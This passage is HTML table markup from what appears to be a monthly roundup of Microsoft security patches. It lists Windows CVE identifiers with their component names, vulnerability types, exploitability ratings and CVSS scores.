Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58613">CVE-2026-58613</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50401">CVE-2026-50401</a></td><td><p>Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50697">CVE-2026-50697</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50667">CVE-2026-50667</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50421">CVE-2026-50421</a></td><td><p>Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50352">CVE-2026-50352</a></td><td><p>Windows Cryptographic Services Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50302">CVE-2026-50302</a></td><td><p>Windows Cryptographic Services Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50347">CVE-2026-50347</a></td><td><p>Windows Data.dll Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49181">CVE-2026-49181</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50683">CVE-2026-50683</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54128">CVE-2026-54128</a></td><td><p>Windows DHCP Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58627">CVE-2026-58627</a></td><td><p>Windows DHCP Server Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50518">CVE-2026-50518</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50685">CVE-2026-50685</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49807">CVE-2026-49807</a></td><td><p>Windows DirectX Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49175">CVE-2026-49175</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50426">CVE-2026-50426</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50300">CVE-2026-50300</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50437">CVE-2026-50437</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34348">CVE-2026-34348</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50502">CVE-2026-50502</a></td><td><p>Windows Event Logging Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33842">CVE-2026-33842</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40422">CVE-2026-40422</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41087">CVE-2026-41087</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50473">CVE-2026-50473</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50442">CVE-2026-50442</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50389">CVE-2026-50389</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50456">CVE-2026-50456</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57084">CVE-2026-57084</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57091">CVE-2026-57091</a></td><td><p>Windows File History Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50405">CVE-2026-50405</a></td><td><p>Windows Filtering Platform Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49172">CVE-2026-49172</a></td><td><p>Windows FTP Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50387">CVE-2026-50387</a></td><td><p>Windows GDI Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54122">CVE-2026-54122</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49796">CVE-2026-49796</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50380">CVE-2026-50380</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58609"><br>CVE-2026-58609</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50391">CVE-2026-50391</a></td><td><p>Windows Group Policy Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50310">CVE-2026-50310</a></td><td><p>Windows Human Interface Device Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50485">CVE-2026-50485</a></td><td><p>Windows Hyper-V Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54129">CVE-2026-54129</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50680">CVE-2026-50680</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58534">CVE-2026-58534</a></td><td><p>Windows Input Method Editor (IME) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50490">CVE-2026-50490</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58540">CVE-2026-58540</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50425">CVE-2026-50425</a></td><td><p>Windows Internal System User Profile Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50293">CVE-2026-50293</a></td><td><p>Windows Internal Task Bar Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49167">CVE-2026-49167</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54132">CVE-2026-54132</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49795">CVE-2026-49795</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49798">CVE-2026-49798</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50354">CVE-2026-50354</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50332">CVE-2026-50332</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50377">CVE-2026-50377</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50390">CVE-2026-50390</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50423">CVE-2026-50423</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50397">CVE-2026-50397</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50399">CVE-2026-50399</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50459">CVE-2026-50459</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50477">CVE-2026-50477</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50478">CVE-2026-50478</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50484">CVE-2026-50484</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50673">CVE-2026-50673</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58532">CVE-2026-58532</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50294">CVE-2026-50294</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50316">CVE-2026-50316</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50419">CVE-2026-50419</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50463">CVE-2026-50463</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50475">CVE-2026-50475</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50429">CVE-2026-50429</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58614">CVE-2026-58614</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58545">CVE-2026-58545</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50378">CVE-2026-50378</a></td><td><p>Windows Key Guard Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50303">CVE-2026-50303</a></td><td><p>Windows Key Guard Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40378">CVE-2026-40378</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49799">CVE-2026-49799</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50371">CVE-2026-50371</a></td><td><p>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50358">CVE-2026-50358</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50433">CVE-2026-50433</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34349">CVE-2026-34349</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50394">CVE-2026-50394</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50415">CVE-2026-50415</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57083">CVE-2026-57083</a></td><td><p>Windows Media Photo Codec Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54115">CVE-2026-54115</a></td><td><p>Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50447">CVE-2026-50447</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50505">CVE-2026-50505</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58635">CVE-2026-58635</a></td><td><p>Windows Narrator Braille Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50500">CVE-2026-50500</a></td><td><p>Windows Netlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50476">CVE-2026-50476</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50450">CVE-2026-50450</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56650">CVE-2026-56650</a></td><td><p>Windows Network File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56649">CVE-2026-56649</a></td><td><p>Windows Network File System Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50470">CVE-2026-50470</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50496">CVE-2026-50496</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56194">CVE-2026-56194</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56648">CVE-2026-56648</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50337">CVE-2026-50337</a></td><td><p>Windows Notification Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49789">CVE-2026-49789</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50412">CVE-2026-50412</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50422">CVE-2026-50422</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50672">CVE-2026-50672</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56175">CVE-2026-56175</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56182">CVE-2026-56182</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50341">CVE-2026-50341</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58640">CVE-2026-58640</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49184">CVE-2026-49184</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49797">CVE-2026-49797</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50308">CVE-2026-50308</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50386">CVE-2026-50386</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50309">CVE-2026-50309</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50313">CVE-2026-50313</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50388">CVE-2026-50388</a></td><td><p>Windows NTFS 